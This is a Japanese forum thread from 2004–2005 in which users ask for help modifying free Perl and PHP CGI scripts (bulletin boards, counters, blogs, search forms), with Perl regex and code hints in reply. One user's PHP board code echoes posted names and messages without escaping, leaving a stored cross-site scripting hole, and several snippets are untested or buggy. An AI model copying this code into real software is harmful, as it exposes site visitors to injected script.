433 :
nobodyさん:04/08/15 20:34 ID:ACdvGoXy
あげ
KENT-WEBさんのYY-BOARDの改造に関する質問です。
同サイトのサポート掲示板で
# タグ処理
$val =~ s/&/&/g;
$val =~ s/"/"/g;
$val =~ s/</</g;
$val =~ s/>/>/g;
$val =~ s/\0//g;
このような記述が書かれている行のあとに、
$val = s/変換前の文字列/変換後の文字列/g;
こんな感じの文を追加すると特定の文字列の表示を変換できる。
という記述を見つけたのですが、これを応用して、
<< >>で囲まれた文字列は全て※※※※に変換する
ということはできますでしょうか?
できましたら具体的なスクリプトも提示して下さると幸いです。宜しくお願い致します。
できるよー。
いま時間とテスト環境がないから書かないけど(嘘を教えたらイヤなので)、
きっと正規表現のえらい人が教えてくれるでしょう。
>>434 > KENT-WEBさんのYY-BOARDの改造に関する質問です。
またか。。。
> << >>で囲まれた文字列は全て※※※※に変換する
> $val =~ s/</</g;
> $val =~ s/>/& gt;/g;
する前に変換すること。
凡例:
$val =~ s|<<(.+)>>|<em>$1</em>|g;
注意点:
<<ABC<<いろは>>DEF>>
は、
<em>ABC<<いろは>>DEF</em>
となる。(ただし<em></em>が<em></em>となるので、この分を再変換すること)
# タグ処理
$val =~ s|<<(.+)>>|<em>$1</em>|g; # <<>>で囲まれたものを。。。
$val =~ s/&/&/g;
$val =~ s/"/"/g;
$val =~ s/<(?!/?em>)/</g; # <em> の復元1
$val =~ s/(?<!</?em)>/>/g; # <em> の復元2
$val =~ s/\0//g;
437 :
434:04/08/20 18:44 ID:???
>>435-436 教えて下さりありがとうございました。言われたとおり実行したところ変換することが出来ました。
ただ、この方法だとログ自体が書き換わってしまい、実際に何を書き込んだのかを確認することが出来ませんでした。
表示部分のみ書き換える方法はありませんでしょうか?
多分、 $val =~ s|<<(.+)>>|<em>$1</em>|g; の行を挿入する位置の問題だと思うのですが。
>>437 丸投げ君はスレ違いですよー
それくらい解析しましょうねー
質問があります。KENTWEBで公開されているWEB PATIOを改造したいのですが、
以下のようにするにはどのような方法がありますか。回答していただければ幸いです。
1. トリップ機能の付加
2. 各スレッド及びレスへIP表示機能の追加。
3. スレッド作成時及びレスをするときの確認画面。
以上の機能を追加したいのですが、ご教授下さい。
>>441 1. regist.cgi の sub regist の中で $i_nam をいじる
2. regist.cgi の sub regist の中で $i_nam や $i_sub に $host をくっつける
3. regist.cgi の sub regist を regist2 にでも変えて、
regist は hidden で値を持たせて regist2 に投稿できる確認画面表示にする。
443 :
nobodyさん:04/08/29 00:11 ID:d+jXT+vh
webアンケートについて教えてください。
ttp://www.narishin.com/faq.htm 上記サイトのWeb Qnaire 1(一つ目のサンプル)についてなんですが、
自分のホームページになんとか設置できたのはいいんですが、
テストしようとしても、エラーが出て連続投稿は受け付けないと表示されます。
下のヒントの言う通りにCGIをいじってもダメでした。
どうか連続投稿できるように教えてください。
445 :
nobodyさん:04/09/03 00:36 ID:khCAQhgB
446 :
445:04/09/03 01:55 ID:khCAQhgB
申し訳ありません!
自己解決しました…
447 :
nobodyさん:04/09/19 13:19:03 ID:4/TOgomW
【. CGI名 .】 WebPatio Ver: 1.51
【配布先URL】
http://www.kent-web.com/bbs/patio.html 【依頼内容】
こちらの掲示板で、スレッド毎にパスワードによる閲覧制限をし、パスワードを各スレッド毎に設定したいのです。
どのスレッドにも共通して仕様できるパスワードと、ユーザーが使用する各スレッドに割り当てたパスワードによる制限です
ver.1.2ならば、改造方法を掲載している所を見つけたのですが、1.51だと少し異なるようで、指定されている変更ではエラーとなります。
また、同時に投稿を管理者のみにしたいのですが、どうすればよいのでしょうか?
エラーとなるとかどうすればいいかって、お前な。。。
このスクリプトをこんな風にしたくてこんな改造を施したんですがこんなエラーが出てしまいますっていうふうに書かないと誰もどうすることも出来ない。
449 :
nobodyさん:04/09/20 00:23:32 ID:tFiVPHxE
>>447 ver.1.2の「改造方法を掲載している所」を貼るのがいいと思うよ。
運と心象が良いとエロイ人が微妙なヒントをくれるよ。
KヨNTのWebPatioが出来る以前に同じ名前のスレッドフロート掲示板を作ったことがあったんだけど、
Niftyの商標に引っかかりそうだったんでさっさと排除したんだよなぁ。
KヨNTはそのあたりのことを気にとめているのだろうか。
スレ違い
452 :
445:04/09/20 17:14:59 ID:MKPCc/Nf
自己解決しました
お騒がせしました
<?php print("
>>452\n?"); ?>
454 :
nobodyさん:04/09/23 10:23:18 ID:fGLKapG0
SSIで表示するカウンターを改造し、
gif画像連結ライブラリを使ってimgタグで呼び出すものを作ったのですが、
Content-Lengthを入れると表示されなくなってしまいます。
@files = ();
for ($i = 0; $i < length($count); $i++) {
$n = substr($count, $i, 1);
push(@files, "$n.gif");
}
require "gifcat.pl";
print "Content-type: image/gif\n\n";
binmode(STDOUT);
print &gifcat'gifcat(@files);
exit;
このような感じなのですが、どうすればうまくいくのでしょうか・・・?
>>454 print "Content-type: image/gif\n";
print "Content-length: ".$length."\n\n";
とかするんじゃないのか?
大抵はjcode.plを読み込んでるから、それをjcodeg.plに変えれば結構半角になる。
jcode.plは適当に検索で探してみて。
つーかjcode.plのバージョンあげるだけ
>458
CGI部分のjcode.plをjcodeg.plに直し、
jcodeg.plも同じフォルダにアップしてパーミッションをjcode.plと同じにしましたが
CGIスクリプトエラーで止まってしまいます。
元に戻すと普通に掲示板として動いています。
あとは何がいけないのでしょうか…
463 :
457:04/09/29 13:30:30 ID:???
何とか自己解決しました。
>458-459 >462
( ´,_ゝ`)プッ
>464 ( ´,_ゝ`)プッ
466 :
459:04/09/30 20:01:12 ID:???
【言い訳】
何も読まずに適当に答えたんだYO!!
以前jcode.plのverが古くてEUCで半角カナが無理な時があったんだYO!!!!!!!!!!111111111111
( ´,_ゝ`)プププププゲラッチョッ
>>463 これだけ騒がせたんだからどう解決したか書こうよ。
解答出てからえらい時差のある事故解決だったな
470 :
丸投げ寸前です・・・:04/10/01 11:05:01 ID:6lZQYFV2
未記入エラーはログ書き込みの時にやってるから、370-390行あたりの
不要なエラーチェックをコメントアウトするだけ。
表示したいって希望だから、既に性別情報は適当な書式でログに入ってんの?
なら、file() で Dat 読んでから、explode() してる個所(L.321-332)の list() に性別情報用の
変数を加える。$dat .= はただのHTMLだから分かるだろ。
list($xxx, $yyy, . . ., $sex) = expl . . . ; としたなら、性別を挿入したい個所で
$dat .= '<span class="opt">ここはあなたの性別よ: ' . $sex . '</span>'; とでもすればOK。
> 何処を?どう拡張したらいいのか
参考までに。
そこのスクリプトはたいていextract()つかって外部変数を展開してくるので、
HTMLフォームのname属性で指定した名前が直接変数名になる。
書き換えるべきところは、ログ記入個所と、ログ読み出し&表示個所。
どうかとは思うがそれを書いた人の流儀にのっとれば、関数の頭でglobal宣言して
必要な外部変数を得て、ログを書式かしてる部分("$foo<>$bar<>$hoge\n"みたいなとこ)に追加する。
この場合は、regist() と past_log() 。
んで読み出す方は 471 でも書いたけど、list() = explode(); のパターンなので、ここで
追加したログ項目を拾ってHTMLに埋め込む、という流れ。
>469
アドバイスの通りでは解決せず、自分で調べたからねー
で、アドバイスとは違うどんな解決方法があったんだい?
475 :
丸投げ寸前です・・・:04/10/02 00:40:37 ID:GZSz8bwn
>>471 ありがとうございます。
めちゃ勉強になりました。中途半端な知識しかなかったものですから
本当にたすかりました。やっぱ、最後は2chだと痛切に感じています。
>>472 親切にお答え頂き、ありがとうございます。
習うより慣れろをモットーに頑張って1週間。。。
お手上げ状態でした。
頑張ります。お返事ありがとうございました。
476 :
nobodyさん:04/10/04 20:05:11 ID:TuRS65Ar
次の依頼どうぞ
|l |l l |l | |i
|i l |i l| li |
∩
_,,..,,n,r'゙ <⌒つ
./ ゚ 3 ヽ )´
) l ゚ ll ∩ ノ そ
Σ `'ー---‐'' (
⌒ヽ/V⌒v、/⌒ ビダァァァン!!
>>478 どうした!? 丸投げされたのかっ!!!
【. CGI名 .】 PHPウェブログシステム3 #304
【配布先URL】
ttp://www.netmania.jp/cgi/blog3/ 【ヘルプ内容】
リンクの所に貼ったリンクを別ウィンドウで開きたいのですが
どこをどういじればいいのやらで。。。
要は、 target="_blank"入れたいんです。
出来ればでいいので、よろしくお願いします。
>>480 そういうのはhtmlやらCSSで何とかなる部分でしょ?
自分でやれ。
482 :
480:04/10/06 16:50:13 ID:???
やべーすみません
自己解決しましたです。
もし今調べてる方がいらっしゃったら、
大変ご迷惑おかけしましたです。
こういうクズがいると本当に気分が悪い
>>483 2日の前のどうでもいいレスにわざわざやつあたりするお前の方が気分悪い
本人降臨
486 :
初心者です。:04/10/09 21:17:20 ID:fCvsZBf9
すいませんm(__)m 自己解決しました。
調べてくれてる方人すみませんでしたm(__)m
たまーに簡単な質問が来るとスレ違いでも回答ラッシュ
丸投げに池
495 :
492:04/10/12 14:54:38 ID:???
丸投げに逝ってみます〜
>>496 よくもこんな糞ソース晒せるもんだなぁ。すばらしいよくらビす。
499 :
nobodyさん:04/10/23 14:37:00 ID:by3ineVA
ttp://www.ghost.jp/cgilab/で配布してる「exit3v11alpha3.zip アルファ版リリース3」という自動リンク集です。
このCGIは管理人しか登録できないので、訪問者が各自で登録・修正(出来れば削除)出来るように改造したいと思います。
ネットで調べてちょっといじってみたのですが上手くいきません。
是非ヒントをください。よろしくお願いします。
>499 500
ここは改造工房だってことはわかっているよな?
まずはお前等の改造中のスクリプトを晒してもらおうか。
話はそれからだ。
安易に丸投げスレに逃げるんじゃねーぞ。
502 :
500:04/10/23 21:46:31 ID:???
>>501 了解です。
こんな感じにしてみましたが、両方ともうまく機能してないみたいです。よろしくお願いします。
# dsbl 問い合わせ。
if ($dsbl) {
gethostbyname(sprintf qq|%s.%s.%s.%s.list.dsbl.org.|, reverse split /\./, $ENV{'REMOTE_ADDR'}) and &error("アクセスを許可されていません (dsbl listed.)");
}
# BBQ 問い合わせ。
if ($bbq) {
gethostbyname(sprintf qq|%s.%s.%s.%s.niku.2ch.net.|, reverse split /\./, $ENV{'REMOTE_ADDR'}) and &error("アクセスを許可されていません (BBQ listed.)");
}
$bbq ='1';
$dsbl ='1';
>>502 reverse (split /\./, $ENV{'REMOTE_ADDR'})
かな。
504 :
500:04/10/23 23:29:56 ID:???
>>503 症状は、生ホストだとBBQリストに入っていないのにエラーメッセージが出る、串を使うとDSBLに入っているのにアクセスできる、というものです。
【. CGI名 .】 なんちてBLOG 記事INDEX付き バージョン (必須)
【配布先URL】
http://nyats.com/nblog.htm (必須)
【ヘルプ内容】
現在改造中のものです→
http://shingari1582.hp.infoseek.co.jp/nblogt.txt メインはhtmlなのでcssを挿入してあるのですが、過去ログ表示用のCGI(現在改造中のもの)にもリンクやフォントのcssを入れたいと思いました。
$cssという因数があったので素人考えで適応させたいcss(a:linkから)をそのまま入れてみたのですが、
1行目は実行されても2行目からは反映されませんでした。
とほほさんの所等を参照してみたのですが、CGIに関しては本当に初心者で一体どうやって記事全体に反映されるようなcssを挿入すれば良いのか見当もつかなくて困っています。
何かヒントをいただければ嬉しいです、よろしくお願いします。
>>505 動作確認してないけどヒアドキュメントにしたらいいんじゃないの?
下のjavascriptのとこ見てやってみた。
#CSS
$css = <<CSSEND;
"<style type=\"text\/css\">\n<\!--\n
\.doc \{ font-size\: $honbunsize\; color\: $honbuncolor\ font-family : Verdana;}\n
\.sub \{ font-size\: $titlesize\; color\: $titlecolor\; font-family : Verdana;}\n
\.date \{ font-size\: $datesize\; color\: $datecolor\; font-family : Verdana;}\n
a:link {color:000000;text-decoration:none;}
a:hover {color:666666;text-decoration:none;}
a:visited {color:000000;text-decoration:none;}
a:active {color:000000;text-decoration:none;}
FONT { font-family : Verdana;}
BODY { line-height : 120%;}\n
-->\n<\/style>";
CSSEND
511 :
nobodyさん:04/11/01 14:22:31 ID:dvWt0D+J
保存先をCSV形式のファイルからデータベース(MySQL)に変更すにはどうすればいいのでしょうか?どなたか、おしえてくださいm(_ _)m
<?php
//error_reporting(E_USER_WARNING); // Warrningを出力しない
//----------------------------------------------------
// 定数の宣言
//----------------------------------------------------
define("BBS_DATA", "./bbs.csv");
define("BBS_COL_DATE", 0);
define("BBS_COL_NAME", 1);
define("BBS_COL_BODY", 2);
//----------------------------------------------------
// 関数の定義
//----------------------------------------------------
// AppendCsvFile関数
// 機 能 CSV形式のデータをファイルの末尾に追加する
// 引 数 $FilePath : 書込むファイルへのパス
// $CsvData : 書込みデータ
function AppendCsvToFile($FilePath, $CsvData) {
if ($FilePath == "") {
return false;
}
$fp = fopen($FilePath, "a");
if ($fp == 0) {
return false;
}
//作成日、名前、発言内容を「,」で連結し、レコードを作成する。
//また、レコード中の改行文字を取り除き行末に改行文字を付加する。
$temp = ereg_replace("[\r\n]", "", join(",", $CsvData)) . "\n";
fputs($fp, $temp);
}
>>511の続き
// LoadCsvFile関数
// 機 能 CSV形式のファイルを2次元配列に読込む
// 引 数 $FilePath : 読込むファイルへのパス
// 戻り値 $CsvData : 読込んだテキストの2次元配列
function LoadCsvFile($FilePath) {
if (file_exists($FilePath) == false) { // ファイルの存在を確認する
return false;
}
$CsvData = array(); // 配列を作る
$TextData = file($FilePath); // ファイルのデータを読み込む
for ($i = 0; $i < sizeof($TextData); $i++) { // レコードが10件あれば10回
$TextData[$i] = ereg_replace("\n$", "", $TextData[$i]); // 行末の\nを取り除く
$TextData[$i] = ereg_replace("\r$", "", $TextData[$i]); // 行末の\rを取り除く
$CsvData[$i] = split("," , $TextData[$i]); // 「,」を区切りとしてフィールドの値を取り出す
}
return $CsvData; // $CsvDataは二次元配列
}
//------------------------------------------------------------
// ここからが主処理
//------------------------------------------------------------
if (isset($_POST["SUBMIT"])) { //このページが初めてアクセスされたか?
if ($_POST["BODY"] != "") { //発言内容はあるか?
$body = str_replace("\n", "<br>", $_POST["BODY"]); // \n\r(改行文字)をタグ<br>に変換する
$body = str_replace("\r", "", $body);
$name = $_POST["NAME"];
$BBSRecord = array(date("Y/m/d H:i:s"), $name, $body);
AppendCsvToFile(BBS_DATA, $BBSRecord); //「内容」の書込み
}
}
>>512の続き
$BBSData = LoadCsvFile(BBS_DATA); //「内容」の読込み
?>
<html>
<head>
<title>掲示板</title>
</head>
<body><h1 align="center">掲示板</h1>
<a href="bbs.php">最新</a>
<form action="bbs.php" method="POST">
<table border="1" align="center" cellspacing="0">
<tr><td bgcolor="#cccccc" align="center">名 前</td><td><input type="text" name="NAME"></td></tr>
<tr><td bgcolor="#cccccc">発言内容</td><td><textarea name="BODY" cols="40" rows="8"></textarea></td>
<tr><td colspan="2" align="center">
<input type="submit" name="SUBMIT" value=" 投 稿 ">
<input type="reset" value=" ク リ ア "></td>
</tr>
</table>
</form>
>>513の続き
<?php
if ($BBSData == false) { // 発言内容がなければ$BBSDataは空っぽ
print "発言はありません。<br>";
} else {
for ($i = sizeof($BBSData) - 1; $i >= 0; $i--) {
print "<hr><font size='3' color='#0000ff'><b>";
print $BBSData[$i][BBS_COL_NAME] . "</b></fomt>";
print "<font size='2' color='#666666'>";
print " [" . $BBSData[$i][BBS_COL_DATE] . "]" . "</font><br><br>";
print "<font size='3' color='#333333'>";
print $BBSData[$i][BBS_COL_BODY] . "</font><br><br>";
}
}
?>
</body>
</html>
516 :
505:04/11/01 23:13:08 ID:???
>508
ファイル名間違えていました…訂正ありがとうございます。
>509
回答有難うございました!
#css以下を書き換えて動作させてみたのですが、反映されませんでした。
mainをちゃんと作ってないのですが、動作させてみたらこんな感じです↓
http://shingari1582.hp.infoseek.co.jp/cgi-bin/index.html(左フレームからログファイルへ入れます)
書き換え前と変わった事は一番上に「""; 」という記号が入った事だけのようです。
ソースを見てみたところ、<meta name="keywords" content=""></head>の後にスタイルシートが来ているので反映されないのかな?と思うのですが…関係ないでしょうか。
元もとのprint OUT $css;の位置がおかしいのかな?とも思うのですが、それだったら\.docからのcssも反映されませんよね。
現在a:hover以下のcssが反映されていないようです。
自分で別にcss用の変数を作ってみたらどうかと思いいろいろいじってみたのですが、表示されなくなってしまったりしてお手上げ状態です…orz
よろしければアドバイスお願いいたします…。
>>516 #CSS
$css = <<CSSEND;
<style type="text/css"><!--
.doc { font-size: $honbunsize; color: $honbuncolor font-family : Verdana;}
.sub { font-size: $titlesize; color: $titlecolor; font-family : Verdana;}
.date { font-size: $datesize; color: $datecolor; font-family : Verdana;}
a:link {color:000000;text-decoration:none;}
a:hover {color:666666;text-decoration:none;}
a:visited {color:000000;text-decoration:none;}
a:active {color:000000;text-decoration:none;}
FONT { font-family : Verdana;}
BODY { line-height : 120%;}
--></style>
CSSEND
じゃあ、これで。
不要な\と\nと"と;を削除しただけ。
SyntaxErrorはないから多分いけるはず。
動作確認は面倒なのでやってないけど。
#>516のリンク先のhtmlソースには一応css部分出力されてるみたい
#有効になってるかどうかはわからんけど
>>518 変数にNGワードが入ってたらエラーで弾けばよかろ
520 :
518:04/11/04 13:11:29 ID:/4YiSBg1
>>519 スミマセン。詳しくお教えいただけないでしょうか?
525 :
nobodyさん:04/11/17 22:35:28 ID:A5o7/dm+
書き込みないようなのでageさせてもらいますです。
しかし回答出来る人間は居なかった
− 完( ´∀`) −
いやぁ、つまらん改造だから、スクを見る気になれないだけ。
有料なら請け負うが…
527 :nobodyさん sage :04/11/22 22:20:50 ID:???
いやぁ、つまらん改造だから、スクを見る気になれないだけ。
有料なら請け負うが…
527 :nobodyさん sage :04/11/22 22:20:50 ID:???
いやぁ、つまらん改造だから、スクを見る気になれないだけ。
有料なら請け負うが…
527 :nobodyさん sage :04/11/22 22:20:50 ID:???
いやぁ、つまらん改造だから、スクを見る気になれないだけ。
有料なら請け負うが…
527 :nobodyさん sage :04/11/22 22:20:50 ID:???
いやぁ、つまらん改造だから、スクを見る気になれないだけ。
有料なら請け負うが…
527 :nobodyさん sage :04/11/22 22:20:50 ID:???
いやん、つまらん改造ですので、スクを見る気になれませんわ。
私を満足させられる対価を頂けますなら請け負いますけれど…
ttp://www.rescue.ne.jp/cgi/database/ ↑ここのサイトのデータベース改造してます。
regist.cgi、search.cgiは変更しましたがエラーになったのでデフォルト。
regist.htmlのみ変更してます。
複数登録したいのでregist.htmlのリストボックスをチェックボックスに改造中なのですが、
チェックボックスに変更した後、WEB上で動作確認した所
チェックボックスで選択した項目で最後の物のみ反映されて
他の項目は反映されません。
【例】
<input type="checkbox" name="PREF" value="1" border="0">1
<input type="checkbox" name="PREF" value="2" border="0">2
<input type="checkbox" name="PREF" value="3" border="0">3
<input type="checkbox" name="PREF" value="4" border="0">4
<input type="checkbox" name="PREF" value="5" border="0">5
Aに対して2つの項目を登録するとして
1と4を選択すると4のみ、2と3を選択すると3のみ
と言った状況です。
regist.cgi、search.cgiもいじらなくてはいけない事は分かるんですが、
何処をどうやって良いのか分かりません_| ̄|○
誰か、教えてください。。。
長文、すいませんでした。
534 :
nobodyさん:04/12/04 20:50:36 ID:8LV5OOZo
>>534 知恵袋で質問した人だよね。
漏れは丸投げスレに誘導したんだが、工房スレに来たということは自分で改造できるんだね。
じゃ、改造の流れを説明するぞ。
まずKENTの所(
http://www.kent-web.com/)に行ってcomchatをダウンロードして来い。
comchat.cgiの在室者処理の所をパクれ。
変数名をK's Chat Ligthにあうように弄れ。
以上。
>以上。
これは余計だなお
538 :
nobodyさん:04/12/05 16:51:08 ID:+UKjgSSz
ここじゃなかったのか、、、。
ついでに寄ったから間違えた。。。
でもありがとう。がんばります。
3341行目からの
----------------------------------------------------
if($PM{'res_go_up'} == 1){
undef $tp_match_flag;
local($tp_loop_counter)=0;
foreach $tmp_parent(@NEW_BLOODS){
# 3スレッドまで上へ持って行く
# それ以上にすると負荷が上がるのでやめる
last if($tp_loop_counter >= 3);
if(($tmp_parent eq "$9")||($tmp_parent eq "$11")){
$tp_match_flag = 1;
last;# 検出したら抜ける
}
$tp_loop_counter++;
}
if($tp_match_flag == 1){
push(@GOUP_MESSAGE, $_);
$all_message++;
}else{
push(@MESSAGE, $_);
$all_message++;
}
}else{
push(@MESSAGE, $_);
$all_message++;
}
----------------------------------------------------
を下のように書き換えました
----------------------------------------------------
if($email == $sage){ #### $sage=sageというのを作った
push(@MESSAGE, $_);
$all_message++;
}
else{
undef $tp_match_flag;
local($tp_loop_counter)=0;
foreach $tmp_parent(@NEW_BLOODS){
# 3スレッドまで上へ持って行く
# それ以上にすると負荷が上がるのでやめる
last if($tp_loop_counter >= 3);
if(($tmp_parent eq "$9")||($tmp_parent eq "$11")){
$tp_match_flag = 1;
last;# 検出したら抜ける
}
$tp_loop_counter++;
}
if($tp_match_flag == 1){
push(@GOUP_MESSAGE, $_);
$all_message++;
}else{
push(@MESSAGE, $_);
$all_message++;
}
}
----------------------------------------------------
そうした所レスのメール欄にsageを入れようが入れまいが
書き込むと上に上がらなくなってしまいました。
試しに変更した
if($email == $sage)
を
if($PM{'res_go_up'} == 0)
にしてレスを入れたらちゃんと上がりました。
if($email == $sage)
が間違えているのでしょうか?
どなたご教授頂けないでしょうか?
長くなってすみません。
質問を全部読んでないが(^^;
== は数値の比較
eq が文字列の比較
544 :
539:04/12/12 08:03:13 ID:???
>>543 ありがとうございます。
if($email eq $sage)が正しいようですね。
しかし今度は下がらなくなった。_| ̄|○
545 :
nobodyさん:04/12/12 17:10:46 ID:cJqt4xtP
547 :
nobodyさん:04/12/14 09:19:31 ID:Q99fVzSY
>>548 ありがとう、移動します
スレ汚してごめんなさい
550 :
6:05/01/07 23:40:43 ID:???
552 :
6:05/01/07 23:59:44 ID:???
誘導されてきました。。
スレ違いですか?
554 :
6:05/01/08 16:21:33 ID:???
こっちが★三 【 スクリプト改造工房 PART 8 】 ★三 で
・枠がどうしても青色。黒色に変えたい。枠の太さも1pxに。
・日付に「'」が入ってしまう。
こっちが★三 【 スクリプト改造工房 PART 8 】 ★三 です。
見かけ上だけ消してるだけなので要らないソースは消してしまいたいがどれを消していいかわからない。 rmで表示したい。
・1 名前 : 内容 5/06 12:40 とひとつのformで表示したい。
【. CGI名 .】 WwwSearch Ver3.15 - 検索フォーム
【配布先URL】
ttp://www.tohoho-web.com/wwwsoft.htm 【ヘルプ内容】 検索結果を、5件ごとや10件ごとに表示させるようにしたいです
自分がいじった部分のソースを貼ります
sub search1 {
local($dir) = $_[0];
local(@filelist, $file, $filename);
opendir(DIR, $dir);
@filelist = readdir(DIR);
closedir(DIR);
$begin = $FORM{'page'} * $hyouji;
$end = $bigin + $hyouji;
if($end > @filelist) {
$end = @filelist;
}
(続く)
556 :
555:05/01/14 22:13:34 ID:???
#foreach $file (@filelist) {
for ($a = $bigin; $a < $end; ++$a) {
if ($file eq ".") { next; }
if ($file eq "..") { next; }
$filename = "$dir/$file";
if (-d $filename) {
if ($recursive_flag) {
&search1($filename);
}
} else {
&search2($filename, $dir);
}
}
if ($end < @filelist) {
$nextpage = $FORM{'page'} + 1;
print "<a href=\"$ENV{'SCRIPT_NAME'}?page=$nextpage\">次へ</a>\n";
}
# }
}
557 :
555:05/01/14 22:18:04 ID:???
foreachのかわりにforでまわしてみたんですが
結果は検索が一件もされず「次へ」のみが表示されてしまいます
アドバイス、解決法よろしくお願いします
>>555 久しぶりに改造工房にお客が来たのに放置されているなぁ〜
sub search1の@filelistだが、お前はこの配列に検索に引っかかったものが入っていると思っているだろ?
残念。
@filelistには対象ディレクトリの中にある全てのファイルが格納されている。
試しに
closedir(DIR);
のあとに
errexit("@filelist");
って入れてごらんよ。
漏れならsub search1とsub search2を大改造しる。
opendir(DIR, $dir);
で、指定してた拡張子のファイルのみを
@filelistに入れていく。
559 :
555:05/01/15 23:08:47 ID:???
>558
指摘、アドバイスありがとうございます
となるとforループ自体がおかしいことになりますね
なんだか煮詰まってテンパってきました
もちょっとガンガってみますです…
KENTのBBSのソースでも眺めれ。
たいていは件数によって次ページ送りの機能がついているから。
561 :
nobodyさん:05/01/17 11:01:28 ID:gvEGsU/w
丸投げの方で放置されそうな勢いなので、自分で努力しつつこちらで質問します。
【. CGI名 .】 HiLink Type-B
【配布先URL】
ttp://www.e-hws.net/cgi_index.html 簡易表示の方法をちょっと変えたいです。新着順とランキング順しかソート方法が無いのですが、
これをタイトル(サイト名)で50音表示できるように変更したいです。
利用方法としては「ランキング表示」リンクボタン(?)を「50音表示」とし、クリックするとで50音順で
並ぶというものです。
表示方法なんかを改造してるので、行数が合わないと思われるので、名前で場所を伝えます。
sub mainの「表示データ作成」にある「# ランキング表示の場合、ソートする」をどうにかしたら良いんですよね?
$ititleと$jtitleがサイト名のようです。
さらに、その下の「if( $iclicknum < $jclicknum ){」の部分を書き換えれば良いとは思うのですが…
素人ながらに「if( $ititle < $jtitle ){」ってしてみましたが、案の定変化無しです。
どのようにしたら50音順に並べる事が可能ですか?
宜しくお願いします。
>>561 規約は読んだのか?
再配布禁止&&使用者はメールで届出の義務あり
563 :
555:05/01/18 19:32:37 ID:???
>560
眺めて悩んでいたらなんかわかってきました
558さん560さん、アドバイスありがとうございました
>>562 このスレは改造工房であり、改造済みのスクリプトを手渡すわけではないので再配布禁止には当たらないかと…
それにまだ改造したものを設置してないので、メールはまだしなくてもよいかと…
要するにヒントだけ与えれば質問者が何とかするって言うスレなので問題はないかと…
>>561 今ちょっと忙しいので、そのうちスクを見てみるわ。
>>561 惜しい。
Perlは数値か文字列かで比較演算子が異なる。
< の代わりに gt を使えば丁度だな。
566 :
561:05/01/19 10:15:04 ID:sYVj0TcQ
>>564 >>565 フォロー&返答ありがとうございます。
ばっちり出来ました。
文字列は数字じゃないから数字の演算式記号は使えないって事で覚えててOKでしょうか?
アドバイスありがとうございました!
567 :
730:05/01/23 11:37:56 ID:???
他スレから誘導されて来ました。
会員制掲示板のPerlCGIスクリプトです。普通の掲示板(KENTさんの書籍のスクリプトを参考に、過去ログ
作成機能と検索機能を削除した)に、IP制限とパス制を組み合わせ改造しました。
✓で特定のIP(@allow)だったら認証画面(&admin)を出し、パスが合ったら掲示板を表示させる(&bbs)。
IPおよびパスが合わなければエラーを返す、・・・つもりでした。しかし下記のスクリプトでは認証画面は
表示しますが、パスを入力しても認証画面、パスミスでも認証画面になるという状態で、
どうにも煮詰まってしまいました。どこがおかしいのかご教授下さい。これでもIP制限は動作しています。
スクリプトはここにアップしました。該当部分だけ。
http://up.isp.2ch.net/up/af9977328ccc.txt
568 :
730:05/01/23 12:14:51 ID:???
ついでにお聞きします。
【スクリプト名】
Web拍手(公式HPから配布版DL。2004年10月。)
【CGIソース】
kaiseki.cgiだけ。
http://up.isp.2ch.net/up/18cf046e2758.txt 【改造した内容】
●過去15日分のデータを保存し表示するのを、31日分にする。(crap.cgiとkaiseki.cgi)
●アクセス解析機能を追加し、拍手した人のホスト名をaccess.datに保存する。(crap.cgi)
●このスクリプトへアクセスしたときの画面にはaccess.datへのリンクを張る。
●DLしたままのスクリプトでは、解析グラフのタグがぐちゃぐちゃだったので
そこも変更。時間ごとのグラフも縦表示から横表示に変更し、31日表示を
しやすくした。
●グラフの画像も横表示に対応させた。
[現在困っていること]
上記改造を加えたあと先週までは問題なく動作していたのですが、今日アクセス
してみたらスクリプトエラーが発生していました。拍手機能は動作しています。
kaiseki.cgiは、上記改造後何も手を加えていないので普通は起こりえないエラーです。
ただ原因として、ローカルに保存していたこのスクリプト(アプロダに挙げたもの)が
間違っていて、サーバーで動作していたのはサーバー側で直接書きなおしたからでミラーリング
していなかった。それをFTPソフトの誤動作で全ファイルを送信したために、動かないローカルの
スクリプトで更新されてしまった・・・というのが考えられます。
#FTPソフトのログにはこのファイルを送信したという記録はないのですが、一昨日以前のログが
#消えているのでわからない。
そこでUPしたこのスクリプトを眺めてみたのですが、どこがおかしいのかわかりません。
pcheck.cgi(Perlスクリプト文法チェッカ)ではsyntax errorの発生はありませんでした。
なにか間違っているところがありましたら教えてください。
570 :
567:05/01/23 16:52:48 ID:???
571 :
555:05/01/23 22:33:51 ID:a5mA126v
再びすみません
【. CGI名 .】 WwwSearch Ver3.15 - 検索フォーム
【配布先URL】
ttp://www.tohoho-web.com/wwwsoft.htm 【ヘルプ内容】 検索結果を、「次へ」ボタンを押して、次の件をひょうじさせたいです
5件ごとや10件ごとの表示は最初だけは表示できるようになりました
「次へ」ボタンを押して、次の件をひょうじさせたいのですが
うまくいきません
この文を最後に追加しました
print "<form method=\"POST\" action=\"$script?page=$page&word=$word\">\n";
print "<input type=\"submit\" value=\"次へ\">";
print "</form>";
「次へ」ボタンを押しても検索結果が出てきません
何かたりないのでしょうか
かなり悩みましたが答えが見つかりません
ヒント、アドバイスお願いします
書き忘れました
>571の文の前に
$page=$FORM{'page'};
$word=$FORM{'word'};
を実行しています
$scriptには自身のCGIファイルの名前が入ってます
>>572 掲示板スクリプトを拾って読んでみたら応用できるんじゃない?
>>572 かなり勘で答えるけど、
<form method=\"POST\" action=\"$script?page=$page&word=$word\">
これをこんな風にしたらだめ?
<form method=\"POST\" action=\"$script¥">
<input type=\"hidden\" name=\"page\" value=\"$page\">
<input type=\"hidden\" name=\"word\" value=\"$word\">
それと、$pageが、ボタンを押したら変化する(=数字が増えたり減ったり)
ようになってますか?
(FORMのほうの数字が固定だったら、最初のページしか動かない。)
575 :
572:05/01/24 01:12:24 ID:???
>573
掲示板スクリプト眺めてるんですが
一向にらちがあかないのです;;
>574
ありがとうございます
試してみましたが、結果はやっぱり同じでした
「次へ」を表示するとこまではいいんですが
押しても、検索フォームだけ出て結果は出ないのです
ソースも晒したほうがいいでしょうか?
576 :
572:05/01/24 01:16:02 ID:???
>574
うっかりしてました
この文の直前に
$nextpage = $FORM{'page'} + 1;
をしています
print "<input type=\"hidden\" name=\"page\" value=\"$nextpage\">\n";
にしても結果変わらずです
そんな送信する側の記述を書かれたってわかるわけない。
page=$pageとword=$wordという値を受け取ってどういう処理をさせてる?
578 :
572:05/01/24 09:52:41 ID:???
>577
sub readform {
if ($ENV{'REQUEST_METHOD'} eq "POST") {
read(STDIN, $query_string, $ENV{'CONTENT_LENGTH'});
} else {
